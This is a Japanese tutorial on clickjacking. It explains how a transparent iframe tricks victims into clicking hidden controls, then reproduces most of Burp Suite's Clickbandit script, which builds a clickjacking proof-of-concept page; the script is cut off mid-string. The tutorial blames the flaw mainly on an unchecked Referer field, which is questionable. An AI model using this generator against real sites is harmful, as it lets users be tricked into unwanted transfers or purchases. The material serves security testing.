1. 脆弱性の原則
クリックハイジャック(Clickbandit)は、主にHTMLのiframeノートの透明属性を利用して攻撃するもので、元のWebページを透明なフレームで覆い、被害者が知らない間にクリックさせてしまうという原理です。この脆弱性は主に、リファラーフィールドのソースがチェックされていないことに起因します。csrfやxssと連携することが多い。
図では、攻撃者は元の Web サイトに透明なフレームを重ねて表示しており、被害者は通常 Web サイト A にアクセスしたときに、この透明なフレーム B をクリックします。攻撃者は多くの場合、この脆弱性を利用して、被害者が主要な位置をクリックして転送、購入、その他の危険な操作などの操作を実行するように誘導します。
2. 脆弱性の再発
1. burpsuite ツールを使用して、Clickbandit を選択し、ペイロードをコピーします。
以下はペイロードです
/* Copyright PortSwigger Ltd. All rights reserved. Usage is subject to the Burp Suite license terms. See https://portswigger.net for more details. */
!function(){
var initialZoomFactor = '1.0', win, doc, width, height, clicks = [];
function addClickTrap(element, minusY) {
var clickTrap = doc.createElement('div'), cords = findPos(element);
clickTrap.style.backgroundColor = 'none';
clickTrap.style.border = 'none';
clickTrap.style.position = 'absolute';
clickTrap.style.left = cords[0] + 'px';
clickTrap.style.top = cords[1] + 'px';
clickTrap.style.width = element.offsetWidth + 'px';
clickTrap.style.height = element.offsetHeight + 'px';
if(element.zIndex || element.zIndex === '0') {
clickTrap.style.zIndex = +element.zIndex+1;
}
clickTrap.style.opacity = '0.5';
clickTrap.style.cursor = 'pointer';
clickTrap.clickTrap = 1;
clickTrap.addEventListener('click', function(e) {
generatePoc({x:e.pageX, y: minusY?e.pageY-minusY : e.page});
e.preventDefault();
e.stopPropagation();
return false;
}, true);
doc.body.appendChild(clickTrap);
}
function addMessage(msg) {
var message = document.createElement('div');
message.style.width = '100%';
message.style.height = '20px';
message.style.backgroundColor = '#fff5bf';
message.style.border = '1px solid #ff9900';
message.style.padding = '5px';
message.style.position = 'fixed';
message.style.bottom = '0';
message.style.left = '0';
message.style.zIndex = 100000;
message.style.textAlign = 'center';
message.style.fontFamily = 'Arial';
message.style.color = '#000';
message.appendChild(document.createTextNode(msg));
document.body.appendChild(message);
setTimeout(function() {
document.body.removeChild(message);
}, 4000);
}
function htmlEscape(str) {
str = str + '';
return str.replace(/[^\w :\-\/.?=]/gi, function(c){
return '&#' + (+c.charCodeAt(0))+';';
});
}
function getDocHeight(D) {
return Math.max(
D.body.scrollHeight, D.documentElement.scrollHeight,
D.body.offsetHeight, D.documentElement.offsetHeight,
D.body.clientHeight, D.documentElement.clientHeight
);
}
function getDocWidth(D) {
return Math.max(
D.body.scrollWidth, D.documentElement.scrollWidth,
D.body.offsetWidth, D.documentElement.offsetWidth,
D.body.clientWidth, D.documentElement.clientWidth
);
}
function findPos(obj) {
var left = 0, top = 0;
if(obj.offsetParent) {
while(1) {
left += obj.offsetLeft;
top += obj.offsetTop;
if(!obj.offsetParent) {
break;
}
obj = obj.offsetParent;
}
} else if(obj.x && obj.y) {
left += obj.x;
top += obj.y;
}
return [left,top];
}
function generatePoc(config) {
var html = '', child = '', elementWidth = 1, elementHeight = 1, maxWidth = width, maxHeight = height, cords, zoomIncrement = 1, desiredX = 200, desiredY = 200, parentOffsetWidth, parentOffsetHeight,
element = config.element, x = config.x, y = config.y, pixelMode = false;
if(config.clickTracking) {
elementWidth = config.clickTracking[0].width;
elementHeight = config.clickTracking[0].height;
x = config.clickTracking[0].left;
y = config.clickTracking[0].top;
zoomIncrement = 1;
config.currentPosition = 0;
} else {
config.clickTracking = [];
if(element) {
elementWidth = element.offsetWidth;
elementHeight = element.offsetHeight;
cords = findPos(element);
x = cords[0];
y = cords[1];
zoomIncrement = 1;
} else {
zoomIncrement = 5;
pixelMode = true;
}
}
parentOffsetWidth = desiredX - x;
parentOffsetHeight = desiredY - y;
child = btoa('<script>window.addEventListener("message", function(e){ var data, childFrame = document.getElementById("childFrame"); try { data = JSON.parse(e.data); } catch(e){ data = {}; } if(!data.clickbandit){ return false; } childFrame.style.width = data.docWidth+"px";childFrame.style.height = data.docHeight+"px";childFrame.style.left = data.left+"px";childFrame.style.top = data.top+"px";}, false);<\/script><iframe src="'+htmlEscape(self.location)+'" scrolling="no" style="width:'+(+maxWidth)+'px;height:'+(+maxHeight)+'px;position:absolute;left:'+parentOffsetWidth+'px;top:'+parentOffsetHeight+'px;border:0;" frameborder="0" '+(window.clickbandit.sandbox?'sandbox="allow-same-origin '+htmlEscape(document.getElementById('sandboxIframeInput').value)+'" ':'')+'id="childFrame" onload="parent.postMessage(JSON.stringify({clickbandit:1}),\'*\')"><\/iframe>');
html += '<body>\n';
html += '<div id="container" style="clip-path:none;clip:auto;overflow:visible;position:absolute;left:0;top:0;width:100%;height:100%">\n';
html += '<!-- Clickjacking PoC Generated by Burp Suite Professional -->\n';
html += '<input id="clickjack_focus" style="opacity:0;position:absolute;left:-5000px;">\n';
html += '<div id="clickjack_button" style="opacity:0;-webkit-transform-style: preserve-3d;-moz-transform-style: preserve-3d;transform-style: preserve-3d;text-align:center;font-family:Arial;font-size:100%;width:'+elementWidth+'px;height:'+elementHeight+'px;z-index:0;background-color:red;color:#fff;position:absolute;left:'+(+desiredX)+'px;top:'+(+desiredY)+'px"><div style="position:relative;top: 50%;transform: translateY(-50%);">Click<\/div><\/div>\n';
html += '<!-- Show this element when clickjacking is complete -->\n';
html += '<div id="clickjack_complete" style="display:none;-webkit-transform-style: preserve-3d;-moz-transform-style: preserve-3d;transform-style: preserve-3d;font-family:Arial;font-size:16pt;color:red;text-align:center;width:100%;height:100%;"><div style="position:relative;top: 50%;transform: translateY(-50%);">You\'ve been c